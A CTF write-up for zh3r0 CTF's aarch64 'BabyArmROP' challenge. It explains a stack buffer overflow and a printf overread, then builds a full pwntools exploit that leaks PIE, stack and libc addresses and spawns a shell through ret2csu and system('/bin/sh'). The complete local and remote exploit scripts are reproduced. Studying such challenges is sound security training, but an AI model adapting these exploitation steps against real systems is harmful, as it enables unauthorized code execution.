zh3r0 CTF: BabyArmRop
BabyArmROP (PWN)
aarch64 rop ret2csu
Note: My exploit was a little overboard because you didn’t need to leak the stack. Using an address from the GOT is works for ret2csu.
Description
Can u take baby steps with your arms? flag location : /vuln/flag
Initial Analysis
Tree of files provided:
The source code of the challenge was very short:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vuln() {
char name_buffer[0x20];
read(0, name_buffer, 0x1f);
printf("Hello, %s\n; send me your message now: ", name_buffer);
fflush(stdout);
read(0, name_buffer, 0x200);
}
int main() {
printf("Enter your name: ");
fflush(stdout);
vuln();
return 0;
}
And the mitigations for the binary are:
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Exploit Enviornment
Because this is an arm64 challenge, we will need to do some emulation to be able to run the binary on our x64 machine. The challenge provided a dockerfile to create a more accurate enviornment that also included qemu, which we will use for the emulation.
Before building the docker image, I needed to change a few things. Firstly, run.sh
had an error. The runner tries to call the vuln binary with qemu in the /chroot
directory, however the dockerfile shows that the directory that the vuln program is in is /vuln
.
Second, to properally debug this challenge, I added -strace -g 1234
as a qemu argument. This will run strace as well as spawn a gdbserver listening on port 1234.
The updated run.sh
now lookos like:
#!/usr/bin/env bash
socat tcp-listen:1337,fork,reuseaddr exec:"/vuln/qemu-aarch64 -L /vuln/ -strace -g 1234 -nx /vuln/vuln"
Then built the docker image with docker build -t zh3r0_babyarm .
Then use docker run -p 1337:1337 -p 1234:1234 zh3r0_babyarm
to launch the container.
Now, when I connect to localhost port 1337, a gdbserver is started on port 1234. I use gdb-multiarch ./vuln/vuln
and then target remote :1234
to connect to the gdb session.
GDB stops execution at the entry, however using gdb’s continue
, we can interact with the binary.
We can script this interaction with:
from pwn import *
io = remote("127.0.0.1",1337)
name = b"playoff-rondo"
message = b"gang gang"
io.sendlineafter(b"name: ",name)
io.sendlineafter(b"message now: ",message)
io.interactive()
I also decided to create a small gdbscript to call the target remote
command as well as stepping through until we can determine the base address of the binary. This comes in handy because the binary is PIE so the base address will change every execution and we need to know the base address to be able to place breakpoints.
target remote :1234
ni 1750
si 27
p $x0-0x40
Running gdb-multiarch -x gdb_script ./vuln/vuln
will connect and then print the binary base address:
Vulnerabilities
Now that we can interact with challenge and properly debug, its time to find some vulns.
Buffer Overflow
The obvious vulnerability is the buffer overflow in the function aptly named vuln
. We can read 0x200 bytes into an 0x20 byte buffer.
To test this crash we can update the script to be:
from pwn import *
io = remote("127.0.0.1",1337)
name = b"playoff-rondo"
message = b"A"*0x20
message += b"B"*8
message += b"C"*8
io.sendlineafter(b"name: ",name)
io.sendlineafter(b"message now: ",message)
io.interactive()
The result is a segfault trying to access 0x4343434343434343
Setting a breakpoint at the end of the vuln
function will be helpful in stepping through to understand the crash.
The state of the stack at the time of the ret
in the vuln
function:
In aarch64, when a ret
is excuted, the pc
does not become what is popped off the stack, the pc
becomes whatever is in the x30
register.
Stepping to the next instrunction puts the flow of execution at the instruction after the vuln
call:
The ldp x29, x30, [sp], #0x10
instruction does a “load pair” of the two words off the stack and then increases the stack pointer by 0x10.
The 0x4242424242424242
gets placed into the x29
register and the 0x4343434343434343
gets placed into the x30
register.
The next instruction is a ret, so the pc
will set to what x30
is, which means we can successfully control the pc
.
Buffer Overread
The is another vulnerability that is vital for the final exploit.
The vulnerability appears with the following code:
char name_buffer[0x20];
read(0, name_buffer, 0x1f);
printf("Hello, %s\n; send me your message now: ", name_buffer);
We can read 0x1f bytes into the name_buffer
and then printf will print name_buffer
.
The problem is printf’s %s
will print a the characters of a string until it reaches a null byte, but we can send a read in a name that does not contain a null byte but uses a “\n” (0xa) instead. This allows us to leak the bytes after our name until a null byte.
We can observe this behavior by breaking at the printf call and looking at the data at x1
.
Here we can see the name I sent was “playoff-rondo” and the character bytes of that string stop at the null byte after the newline character sent.
Exploitation
To exploit this binary and spawn a shell, I wil break it up into the 4 parts I used.
- Leak PIE
- Leak Stack address
- Leak Libc
- Call system(“sh”)
Leak PIE
To be able to create a ropchain, the addresses of the ropgadgets need to be determined because of PIE.
Using the buffer overread vulnerability, and a payload of:
from pwn import *
io = remote("127.0.0.1",1337)
name = b"A"
message = b"A"*0x20
message += b"B"*8
message += b"C"*8
io.sendlineafter(b"name: ",name)
io.sendlineafter(b"message now: ",message)
io.interactive()
And breaking at the printf call:
If we fill up 8 bytes, the next bytes will be 0x000000000b2688a8
which is an adrress we can use to calculate PIE.
With a name of 8 characters, we can see the address get leaked.
I then subtract the offset of the leak (2058) from the leak to calculate the PIE address:
from pwn import *
io = remote("127.0.0.1",1337)
name = b"A"*8
message = b"A"*0x20
message += b"B"*8
message += b"C"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
io.sendlineafter(b"message now: ",message)
Reorganizing the poc will let us change the 0x4343434343434343
to the address of the vuln function so we can then abuse this leak again.
Script is now:
from pwn import *
context.binary = elf = ELF("./vuln")
io = remote("127.0.0.1",1337)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln'])
io.sendlineafter(b"message now: ",message)
io.interactive()
And we can see that the binary now reads our name in again and we can get another leak.
Leak Stack
Now that we have PIE leaked we need to leak an address on the stack of which we can then control what the address is pointing to.
The following POC will send a second name so we can see what data we can leak.
from pwn import *
context.binary = elf = ELF("./vuln")
io = remote("127.0.0.1",1337)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln'])
io.sendlineafter(b"message now: ",message)
io.clean()
second_name = b"A"
io.sendline(name)
io.interactive()
Inspecting x1
at the time of the second printf call:
Unfortunetly, a libc address does not appear until 0x68 bytes from our string and the read we have can only read 0x1f bytes.
Instead of ropping to the start of vuln
we can rop to vuln+0x18
(the bl read
).
This will call read with the arguments already in x0
, x1
and x2
, which luckly are the following at the time we control pc
.
So now we can read 0x200 bytes
Send 0x77 characters so the next bytes are the stack address.
from pwn import *
context.binary = elf = ELF("./vuln")
io = remote("127.0.0.1",1337)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln']+0x18)
io.sendlineafter(b"message now: ",message)
io.clean()
second_name = b"A"*0x77
io.sendline(second_name)
io.interactive()
Unfortunately, a long name will be apart of a buffer overflow which is why the binary crashes, luckly we still control what pc
will be.
We can rop to the address directly after the read call to continue execution and print our leak. That address is vuln+0x1c
second_name = b"A"*8 #x29
second_name += p64(elf.symbols['vuln']+0x1c) #x30
second_name += b"A"*32 # junk
second_name += b"A"*8 #x29
second_name += p64(elf.symbols['main']) #x30
second_name += b"A"*0x37 # more junk to bring size to 0x77
io.sendline(second_name)
io.readline()
stack_leak = u64(io.readline().strip().ljust(8,b"\x00")) - 280
print("Stack Leak: " + hex(stack_leak))
io.interactive()
I subtracted 280 from the leak because that is the address of the beginning of the input.
Also have the binary rop to main after the leak is done.
Leak Libc
To leak libc, the goal is to call printf(printf_got)
, however there were no good gadgets to control x0
to set it to printf
entry on the GOT.
Enter ret2csu.
More information about ret2csu can be found here
ret2csu consists of 2 gadgets:
- csu_popper (__libc_csu_init+104)
- csu_caller (__libc_csu_init+72)
The popper gadget lets us control the following registers:
- x19
- x20
- x21
- x22
- x23
- x24
- x29
- x30
And the caller gadget sets registers:
- w0 from w22 (w0 is a 32bit subregister of x0, same for w22)
- x1 from x23
- x2 from x24
The caller gadget also will call what x21 + (x19*8)
is pointing to.
The hard part of ret2csu is finding a memory address that when derefernced points to the function you want to call.
Luckily, because we have a stack leak, we can place a function pointer on the in our input and set x21
to be the stack address of our function pointer and x19
to be 0
because we just want the address in x21
csu_popper = elf.symbols['__libc_csu_init']+104
csu_caller = elf.symbols['__libc_csu_init']+72
leak_libc_payload = b""
leak_libc_payload += b"B"*0x47
leak_libc_payload += p64(csu_popper)
leak_libc_payload += p64(elf.symbols['printf']) # x29 #stack_leak points to this
leak_libc_payload += p64(csu_caller) # x30
leak_libc_payload += p64(0) # x19 needs to be 0
leak_libc_payload += p64(0) # x20 junk
leak_libc_payload += p64(stack_leak) # x21 call*
leak_libc_payload += p64(elf.got['printf'])# x22 x0
leak_libc_payload += b"XXXXXXXX" # x23 x1
leak_libc_payload += p64(0) # x24 x2
io.sendline(leak_libc_payload)
Running this has the following:
For some reason, x23
ends up becoming pc
so setting x32
to p64(elf.symbols['vuln']+0x30)
(call to flush) will flush stdout and print the leak.
Full code up to this point:
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("./lib/libc.so.6")
io = remote("127.0.0.1",1337)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln']+0x18)
io.sendlineafter(b"message now: ",message)
io.clean()
second_name = b"A"*8 #x29
second_name += p64(elf.symbols['vuln']+0x1c) #x30
second_name += b"A"*32 # junk
second_name += b"A"*8 #x29
second_name += p64(elf.symbols['main']) #x30
second_name += b"A"*0x37 # more junk to bring size to 0x77
io.sendline(second_name)
io.readline()
stack_leak = u64(io.readline().strip().ljust(8,b"\x00")) - 280
print("Stack Leak: " + hex(stack_leak))
io.sendline("Rondo") #name
csu_popper = elf.symbols['__libc_csu_init']+104
csu_caller = elf.symbols['__libc_csu_init']+72
leak_libc_payload = b""
leak_libc_payload += b"B"*0x47
leak_libc_payload += p64(csu_popper)
leak_libc_payload += p64(elf.symbols['printf']) # x29 #stack_leak points to this
leak_libc_payload += p64(csu_caller) # x30
leak_libc_payload += p64(0) # x19 needs to be 0
leak_libc_payload += p64(0) # x20 junk
leak_libc_payload += p64(stack_leak) # x21 call*
leak_libc_payload += p64(elf.got['printf'])# x22 x0
leak_libc_payload += p64(elf.symbols['vuln']+0x30) # x23 x1
leak_libc_payload += p64(0) # x24 x2
io.sendline(leak_libc_payload)
io.readuntil("now: ")
io.readuntil("now: ")
libc.address = u64(io.read(4).strip().ljust(8,b"\x00")) - libc.symbols['printf']
print("libc: " + hex(libc.address))
io.interactive()
And result:
Get Shell
Now with a libc leak we can call any gadgets within libc. Unfortunetly one_gadget
lets us down again and manually looking through the provided libc was unable to find any one shot gadgets.
Using the same ret2csu method, we can call system("/bin/sh")
However in this case, the leaked stack address may not align correctly so I spam my input with a ton of function pointers to libc system so hopefully the leaked stack pointer falls in that sled.
call_system = b""
call_system += b"A"*0x47 #junk
call_system += p64(csu_popper)
call_system += b"RONDO___" # x29
call_system += p64(csu_caller) #x30
call_system += p64(0) #x19
call_system += p64(0) #x20
call_system += p64(stack_leak) #x21 call*
call_system += p64(next(libc.search(b"/bin/sh")))# x22 x0
call_system += p64(0) # x23 x1
call_system += p64(0) # x24 x2
call_system += p64(libc.symbols['system'])*0x20
io.clean()
io.sendline(call_system)
And the result:
Local Exploit
The full local exploit:
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("./lib/libc.so.6")
io = remote("127.0.0.1",1337)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln']+0x18)
io.sendlineafter(b"message now: ",message)
io.clean()
second_name = b"A"*8 #x29
second_name += p64(elf.symbols['vuln']+0x1c) #x30
second_name += b"A"*32 # junk
second_name += b"A"*8 #x29
second_name += p64(elf.symbols['main']) #x30
second_name += b"A"*0x37 # more junk to bring size to 0x77
io.sendline(second_name)
io.readline()
stack_leak = u64(io.readline().strip().ljust(8,b"\x00")) - 280
print("Stack Leak: " + hex(stack_leak))
io.sendline("Rondo") #name
csu_popper = elf.symbols['__libc_csu_init']+104
csu_caller = elf.symbols['__libc_csu_init']+72
leak_libc_payload = b""
leak_libc_payload += b"B"*0x47
leak_libc_payload += p64(csu_popper)
leak_libc_payload += p64(elf.symbols['printf']) # x29 #stack_leak points to this
leak_libc_payload += p64(csu_caller) # x30
leak_libc_payload += p64(0) # x19 needs to be 0
leak_libc_payload += p64(0) # x20 junk
leak_libc_payload += p64(stack_leak) # x21 call*
leak_libc_payload += p64(elf.got['printf'])# x22 x0
leak_libc_payload += p64(elf.symbols['vuln']+0x30) # x23 x1
leak_libc_payload += p64(0) # x24 x2
io.sendline(leak_libc_payload)
io.readuntil("now: ")
io.readuntil("now: ")
libc.address = u64(io.read(4).strip().ljust(8,b"\x00")) - libc.symbols['printf']
print("libc: " + hex(libc.address))
io.sendline(b"playoff") # message from earlier call
io.sendline(b"rondo") # name for new call
call_system = b""
call_system += b"A"*0x47 #junk
call_system += p64(csu_popper)
call_system += b"RONDO___" # x29
call_system += p64(csu_caller) #x30
call_system += p64(0) #x19
call_system += p64(0) #x20
call_system += p64(stack_leak) #x21 call*
call_system += p64(next(libc.search(b"/bin/sh")))# x22 x0
call_system += p64(0) # x23 x1
call_system += p64(0) # x24 x2
call_system += p64(libc.symbols['system'])*0x200
io.clean()
io.sendline(call_system)
io.interactive()
Remote Exploit
I was having difficulties getting a shell on the remote even though the local exploit works fine with the provided docker image.
I knew my leaks were correct otherwise the libc leak would not end so perfectly with 000
. This lead me to assume only the last stage of my exploit was failing.
Turns out the amount of padding for the call_system
payload was not 0x47.
I brute forced that value buy changing the size of the padding and then ropping back to main and testing on the remote service. With a padding of 0x41, my exploit successfully ropped back to main.
Final remote exploit:
from pwn import *
context.binary = elf = ELF("./vuln")
libc = ELF("./lib/libc.so.6")
io = remote("pwn.zh3r0.cf", 1111)
name = b"A"*8
io.sendlineafter(b"name: ",name)
io.readuntil(name)
pie_leak = u64(io.readuntil("\n; send",drop=True).ljust(8,b"\x00")) - 2058
print("PIE: " + hex(pie_leak))
elf.address = pie_leak
message = b"A"*0x20
message += b"B"*8
message += p64(elf.symbols['vuln']+0x18)
io.sendlineafter(b"message now: ",message)
io.clean()
second_name = b"A"*8 #x29
second_name += p64(elf.symbols['vuln']+0x1c) #x30
second_name += b"A"*32 # junk
second_name += b"A"*8 #x29
second_name += p64(elf.symbols['main']) #x30
second_name += b"A"*0x37 # more junk to bring size to 0x77
io.sendline(second_name)
io.readline()
stack_leak = u64(io.readline().strip().ljust(8,b"\x00")) - 280
print("Stack Leak: " + hex(stack_leak))
io.sendline("Rondo") #name
csu_popper = elf.symbols['__libc_csu_init']+104
csu_caller = elf.symbols['__libc_csu_init']+72
leak_libc_payload = b""
leak_libc_payload += b"B"*0x47
leak_libc_payload += p64(csu_popper)
leak_libc_payload += p64(elf.symbols['printf']) # x29 #stack_leak points to this
leak_libc_payload += p64(csu_caller) # x30
leak_libc_payload += p64(0) # x19 needs to be 0
leak_libc_payload += p64(0) # x20 junk
leak_libc_payload += p64(stack_leak) # x21 call*
leak_libc_payload += p64(elf.got['printf'])# x22 x0
leak_libc_payload += p64(elf.symbols['vuln']+0x30) # x23 x1
leak_libc_payload += p64(0) # x24 x2
io.sendline(leak_libc_payload)
io.readuntil("now: ")
io.readuntil("now: ")
libc.address = u64(io.read(4).strip().ljust(8,b"\x00")) - libc.symbols['printf']
print("libc: " + hex(libc.address))
io.sendline(b"playoff") # message from earlier call
io.sendline(b"rondo") # name for new call
call_system = b""
call_system += b"A"*0x41 #junk
call_system += p64(csu_popper)
call_system += b"RONDO___" # x29
call_system += p64(csu_caller) #x30
call_system += p64(0) #x19
call_system += p64(0) #x20
call_system += p64(stack_leak) #x21 call*
call_system += p64(next(libc.search(b"/bin/sh")))# x22 x0
call_system += p64(0) # x23 x1
call_system += p64(0) # x24 x2
call_system += p64(libc.symbols['system'])*0x200
io.clean()
io.sendline(call_system)
io.interactive()
And I get the flag: